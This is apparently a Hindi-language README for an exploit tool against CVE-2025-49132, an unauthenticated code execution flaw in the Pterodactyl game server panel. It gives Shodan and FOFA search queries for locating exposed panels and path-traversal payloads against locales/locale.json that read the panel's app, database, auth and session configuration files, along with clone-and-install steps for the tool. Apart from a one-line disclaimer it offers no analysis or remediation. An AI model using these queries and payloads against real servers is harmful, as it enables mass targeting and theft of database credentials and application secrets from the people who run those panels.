CVE-2025-49132 — Pterodactyl RCE

CVE-2025-49132 के लिए शोषण उपकरण — Pterodactyl गेम सर्वर पैनल को प्रभावित करने वाली एक गंभीर बिना प्रमाणीकरण के मनमाना कोड निष्पादन भेद्यता।

🧠 CVE-2025-49132 क्या है?

Pterodactyl पैनल में एक गंभीर ACE दोष जो बिना प्रमाणीकरण के दूरस्थ हमलावरों को मनमाना कोड निष्पादित करने की अनुमति देता है — संभावित रूप से पूर्ण सिस्टम समझौता की ओर ले जाता है।

कोई प्रमाणीकरण आवश्यक नहीं। बस एक कमजोर इंस्टेंस।

⚠️ अस्वीकरण

केवल शैक्षिक और अधिकृत पेनटेस्टिंग उद्देश्यों के लिए।

🔍 टोही

Shodan

http.title:"Pterodactyl"

FOFA

"Pterodactyl"

💉 पेलोड्स

locales/locale.json?locale=../../../pterodactyl&namespace=config/app
locales/locale.json?locale=../../../pterodactyl&namespace=config/database
locales/locale.json?locale=../../../pterodactyl&namespace=config/auth
locales/locale.json?locale=../../../pterodactyl&namespace=config/session

📦 स्थापना

git clone https://github.com/yurahshell/CVE-2025-49132
cd CVE-2025-49132
pip install -r requirements.txt

🎯 प्रभावित सॉफ्टवेयर

📄 संदर्भ

• NVD - CVE-2025-49132
• Pterodactyl